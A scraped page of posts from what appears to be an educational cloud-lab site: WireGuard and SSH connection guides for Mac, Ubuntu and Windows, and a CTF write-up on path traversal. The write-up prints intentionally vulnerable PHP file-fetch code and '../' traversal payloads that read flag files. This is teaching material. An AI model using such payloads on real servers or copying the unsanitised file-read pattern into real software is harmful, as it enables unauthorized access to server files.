secure VPN required for connecting to Selfmade Ninja Labs. Installation is straightforward via the App Store. Once installed, it’s a crucial tool for creating a secure tunnel to SNA Labs, ensuring your data remains safe. Click here to download. After installation, navigate to the ‘Connectivity’ tab within Selfmade Ninja Labs and select ‘My Devices’. Here, you’ll add your device and configure WireGuard with a public key provided by the platform. This step is essential for establishing a secure, encrypted connection. Begin by opening the WireGuard application on your Mac. Look for the ‘+’ symbol within the app’s interface, which signifies the option to add a new connection. Click on ‘Add an empty tunnel’ to start configuring a new secure tunnel for your connection. WireGuard operates using a pair of cryptographic keys (public and private) to ensure a secure connection. you will need to copy this public key into the Wireguard Public Key field of the Add Device dialogue box. After entering your public key, proceed by clicking on the ‘Verify and add’ option. This action adds the device you’ve provided, ensuring it’s correct and viable for use in setting up a secure tunnel. With your public key verified and added, the next step involves configuring the tunnel itself. Select your device listed in WireGuard and click on ‘Show Configuration’. This will display the current configuration settings for your tunnel, including the IP address and other relevant details. Copy all necessary configuration details starting from the ‘Address’ field. These details are critical for ensuring your tunnel correctly routes the traffic to and from your Mac. Paste these settings into the WireGuard configuration section, ensuring every detail matches the configuration. The final step in the configuration process is to activate the tunnel you’ve just set up. Click on ‘Activate’ within WireGuard to establish the connection using your new tunnel. This action activates the secure connection, routing your internet traffic through the configured tunnel, effectively securing your online activities. Open your Terminal, type 'ping 172.30.0.0' to check whether the WireGuard connection is working or not. Now you have configured your PC to WireGuard. Now, from your ‘Labs’ page, click ‘deploy’ button to deploy your labs. This action ensures that your lab instance is running and is ready to connect. After the server is deployed, you can copy the SSH command from the field below and run it in the terminal, And your lab instance is connected via your terminal. If you want to connect it via VS Code, make sure Remote-SSH extension is installed (If you don’t have VS Code Installed, Click here to download.) Click SSH icon from bottom-left of VS Code, Click ‘Connect to Host’, and click ‘Add new SSH host’. This step helps adding your SSH host to to your VS Code, so that you don’t have to manually copy SSH commands. Then paste the SSH command, and hit enter. then click ‘Connect’ below. Your Labs is now connected via VS Code. To open the terminal within the code server environment, simply press Ctrl and the backtick (`) button simultaneously. This action will grant you …

How to Connect to Selfmade Ninja Labs with WireGuard (Mac) Read More »

Send the Alien Back home

🛡 Deep Dive into Path Traversal with “Send the Alien Back Home” – Selfmade Ninja Lab Cloud Lab Training for Aspiring IT Students 🛡

Hey Ninjas! 🥷  Welcome to an in-depth write-up for the "Send the Alien Back Home" CTF challenge! This series of hands-on challenges, hosted on our Selfmade Ninja Lab platform, is designed to help you practice cybersecurity skills with a focus on path traversal vulnerabilities. 🚀 These challenges provide a unique, practical learning experience for aspiring IT students exploring cloud lab training. Getting Started with Selfmade Ninja Labs Follow these steps to set up and access the challenge: Sign in to Selfmade Ninja Labs (Click here) New User? Create an account here. Activate WireGuard: Configure your VPN to securely connect to the labs. Navigate to the dashboard: Visit Selfmade Ninja Labs. On the left-side navbar, click the “My Lab” dropdown and select “Challenge Lab.” Search for the “Send the Alien Back Home” challenge: Use the search bar to locate the challenge. Click the challenge button to open its details. Start the mission: On the top-right corner, click “Deploy Lab” and then hit “Start Mission.” Your unique lab IP will be generated. Set up your environment: Use VS Code or your preferred editor to port-forward your lab IP. Begin exploring the challenge! You can jump straight into the action by accessing the Send the Alien Back Home challenges on our lab website. Each challenge will walk you through various techniques for identifying, exploiting, and defending against path traversal vulnerabilities. So, buckle up and prepare for a cybersecurity adventure with Selfmade Ninja Lab’s cloud lab training! 🌟 Prerequisites Make sure your computer is connected to SNA Labs [Essential lab] 🚨Caution: If you’re unfamiliar with connecting to Challenge labs, we recommend you check out our Connecting to CTF Labs Guide for essential tips and guidelines. Always approach these challenges with a responsible and ethical mindset. Before starting the writeup, let’s clarify what path traversal vulnerability is: Exploring Path Traversal: Path traversal is a critical security vulnerability in web applications, where attackers can gain unauthorized access to files by exploiting inadequately sanitized user inputs. This issue arises when applications fail to properly validate or sanitize file paths provided by users, leading to potential access to sensitive areas of the server’s file system. In our ‘Send the Alien Back Home’ challenge series, you’ll get hands-on experience with this concept, where each level intensifies in complexity. Through a series of engaging challenges, you’ll learn all about path traversal vulnerabilities and how to protect against them. 🌟 Let’s embark on this educational adventure together! Challenge 1: The Home Intel : After initiating the mission, let’s first review the brief mentioned above. Pay close attention to the code within the brief as it holds key insights for our challenge. $file_path = $_GET['file']; function fetch_file($file_path) { if(file_exists($file_path)) { $output = file_get_contents($file_path); print $output; } else { http_response_code(404); } } fetch_file($file_path); In our challenge, we’re exploring a scenario where the file parameter in a GET request is used to access files on the server. This technique can potentially expose sensitive files, depending on how the server handles these requests. Also, take a look at the code snippet: file_get_contents($file_path);. This function is crucial, as it’s used to retrieve the contents of the specified file. 🧐 Given this information, let’s put our detective hats on 🕵️‍♂️ and examine the website. Remember, the brief mentioned the location of the flag. With this key piece of information, we can strategize our approach to testing the website and ultimately capture that elusive flag. 🚩 Let’s dive in and see what we can uncover! Home page: Payload: Get the file mentioned in the mission brief just by entering it in the url: ?file=/documents/zoraxians_home_planet. 🎉 Hooray! We’ve got our first flag by passing the value of the file location of our flag /documents/zoraxians_home_planet. It turned out to be easier than expected to snag that flag, right? 😊 💡 Remember, this flag is uniquely generated for every user. Copying this flag won’t work for you. The real goal here is to practice and tackle the challenge on your own. So, get ready to dive in and learn! Are you excited for the next challenge? Let’s keep up the momentum and move forward! 🚀 Challenge 2: The Secret Project 🗂️ Just like in our first mission, let’s kick off this challenge by delving into the mission brief. Within it, we’ve uncovered an interesting PHP code snippet: $directory_path = "uploads/"; $file_path = $directory_path . $_GET['file']; function fetch_file($file_path) { if (file_exists($file_path)) { $output = file_get_contents($file_path); echo $output; } else { echo $file_path . " " . "not found"; http_response_code(404); } } Check out this key variable in the code: $directory_path = "uploads/";. It’s quite similar to what we encountered in the first challenge, involving the file parameter in a GET request and using the file_get_contents function. Plus, we’ve got a clue about the location of our flag! 🕵️ Let’s take this information and test it out on the website. Payload: Voila! 🎉 We’ve successfully captured the second flag, located in the ‘uploads’ directory. By cleverly navigating to file=../../../../media/usb/project_51, we uncovered it with ease. Remember, each challenge progressively becomes more intricate.🚀 Great job on the puzzles so far!, But guess what? There’s a whole bunch of new challenges coming up, and this time, you’re on your own!. There’s nothing like the feeling of solving tough puzzles on your own. Defense Measures: 🔒 Defending against such advanced path traversal attempts is a complex task. It requires a comprehensive approach, encompassing thorough input validation, constant security protocol updates, and a deep understanding of the underlying server and application architecture. Regular security audits and penetration testing are crucial in identifying potential bypass techniques and fortifying defenses against them. Resource: For those keen on understanding advanced path traversal defense strategies, OWASP’s Advanced Path Traversal Guide is an excellent resource. It delves into sophisticated attack vectors and provides guidance on creating robust security frameworks to counter them. Conclusion: The "Send the Alien Back Home" challenge series has equipped us with essential skills for identifying and defending against path traversal vulnerabilities. This practical experience is invaluable for aspiring …

🛡 Deep Dive into Path Traversal with “Send the Alien Back Home” – Selfmade Ninja Lab Cloud Lab Training for Aspiring IT Students 🛡 Read More »

Ubuntu

How to Connect to Selfmade Ninja Labs with WireGuard (Ubuntu)

Welcome to our step-by-step guide on connecting to Selfmade Ninja Labs using SSH and WireGuard and configuring Visual Studio Code for seamless remote development. This tutorial is designed to help you integrate your Ubuntu environment with these powerful tools, optimizing your workflow and enhancing productivity. Ubuntu, a versatile and robust operating system, is ideal for both development and daily tasks. By leveraging Ubuntu’s capabilities, you can efficiently manage remote servers, deploy applications, and streamline your development process. Whether you’re a beginner or an advanced user, this guide will equip you with the skills to maximize your Ubuntu setup for Selfmade Ninja Lab cloud lab training for aspiring IT students. Let’s dive in and unlock the potential of Ubuntu with Selfmade Ninja Labs! Prerequisites SNA Gitlab account (Create one by clicking here) A working installation of Ubuntu. Connect to Selfmade Ninja Labs Adding SSH Keys Login your credentials by clicking here. Select your profile, then click on ‘preferences’ tab Select ‘SSH keys’ from the list of options, then select ‘Add key’ Open your Terminal and put any of the following commands to generate SSH keys For example, for ED25519: ssh-keygen -t ed25519 -C "key-name" For 2048-bit RSA: ssh-keygen -t rsa -b 2048 -C "key-name" You can add passphrase if needed Your SSH key is generated. Now copy the key generated which has the extension .pub in it. To view the key, use cat command Paste the public key in the ‘key’ field, Change the title if needed, then press ‘Add key’ Now your key has been successfully added. Wireguard connection Now open https://labs.selfmade.ninja and login. Go to ‘My Devices’ under the connectivity tab, then click on ‘Add Device’ button and Fill it with your appropriate device requirements. Open your terminal and install wireguard by putting the following command sudo apt install wireguard Check whether wireguard has been successfully installed by putting the following command wg –version Now generate a wireguard public key and private key by putting the following command wg genkey | tee privatekey | wg pubkey > publickey You can see that the private key and public key are generated by using ls command Copy the public key by opening it using cat command Paste the ‘Wireguard public key’ which you have copied’. Then click ‘Verify and Add’ button. Now you can see that a new device has been added. But still there is no connection. to connect that press that three dots button, then select ‘Show configuration’. Copy the Info in it. Now open terminal and create a new wireguard configuration file by using this command. sudo nano /etc/wireguard/confname.conf Make sure you keep the conf file in the above given location.You can change the name of the conf file as you want. Replace the private key with your private key you generated. and then save it. Now give the following command to start the on the wireguard connection. sudo wg-quick up confname You can check whether it has been connected successfully by using the following command sudo wg show Now you can see that your device has become online Open ‘My Labs’, Go to ‘Machine Labs’, then go to ‘Essentials Labs’ Click ‘Deploy’ Click on ‘Confirm Deploy’ Now copy the SSH command from the connetion settings. Open terminal and connect with essentials lab by pasting the SSH command You have connected to the labs successfully Visual Studio Code Open VS code and install Remote-SSH extenstion Click the icon from the bottom-left, click ‘connect to host’ Click ‘Add new SSH host’ Paste the SSH command, and hit enter. Click ‘Connect’ below You have successfully with labs vis VS code. you can open the terminal and check it. Also you can see that the SSH is connected to your labs Conclusion Congratulations! You’ve successfully connected to Selfmade Ninja Lab cloud lab training for aspiring IT students using SSH and WireGuard and configured Visual Studio Code for remote development. By following these steps, you now have a robust environment to manage remote servers, deploy applications, and enhance your learning experience. Whether you’re developing complex applications or exploring new functionalities, Ubuntu combined with SNA Labs will serve as your reliable platform. Feel free to revisit this guide whenever needed, and continue leveraging the power of Selfmade Ninja Labs to streamline your workflow. Happy coding!

wireguard window

How to Connect to Selfmade Ninja Lab with WireGuard (Windows)

Prerequisites A Selfmade Ninja Lab account (If you don’t have an account, create one here). A working installation of WireGuard for Windows. Steps to Connect to Selfmade Ninja Labs Log in to your Git Selfmade Ninja account (click here) using your credentials. Click on your profile and select the Preferences tab. Under Preferences, choose SSH Keys, then click Add new key. Connect to Selfmade Ninja Labs Login to your GitLab account using your credentials here. Select your profile, then click on ‘Preferences’ tab Select ‘SSH Keys’ from the list of options, then select ‘Add new key’. Open your command prompt, type the following command: ssh-keygen -t rsa -b 2048 -C “your-key-name” Enter a passphrase for your key, if needed. Now, in the command prompt, type type your_key_location Copy your Public key and paste it in the ’Key’ field. Click ‘Add key’, and your Key is added. Under ‘Connectivity’ tab, Click ‘My Devices’. Click ‘Add Device’ option. Now, to configure your PC to WireGuard, Install WireGuard for windows by clicking here Now, Open WireGuard on your windows. Under the ‘+’ symbol, Click ‘Add an empty tunnel’. Copy the public key. Paste it in the ‘Wireguard Public Key’ field, and click ‘Verify and add’ option Under your device, click ‘Show Configuration’. Copy from the ‘Address’ field to the end of the configuration as shown below. Paste it in the WireGuard Configuration as shown below. Add a name to the interface in the ‘Name’ field, and hit ‘Save’. Now click ‘Activate’ to connect to the WireGuard Interface. Open your Command Prompt, type 'ping 172.30.0.0' to check whether the WireGuard connection is working or not. Now you have configured your PC to WireGuard. Now, from your ‘Labs’ page, click ‘deploy’ Click ‘Confirm deploy’ After the server is deployed, you can copy the SSH command from the field below and run it in the terminal. If you want to connect it via VS Code, make sure Remote-SSH extension is installed (If you don’t have VS Code Installed, Click here to download.) Click SSH icon from bottom-left of VS Code, Click ‘Connect to Host’, and click ‘Add new SSH host’ Then paste the SSH command, and hit enter. then click ‘Connect’ below. Your Labs is now connected via VS Code. To open the terminal within the code server environment, simply press Ctrl and the backtick (`) button simultaneously. This action will grant you direct access to the terminal. Why Choose Selfmade Ninja Lab? Selfmade Ninja Lab provides aspiring IT students with a cutting-edge cloud-based training environment. Through seamless connectivity and practical learning experiences, learners can master advanced technologies using the Selfmade Ninja Lab cloud lab training for aspiring IT students. Our platform is designed to empower students with hands-on expertise in a secure and efficient environment.

Scroll to Top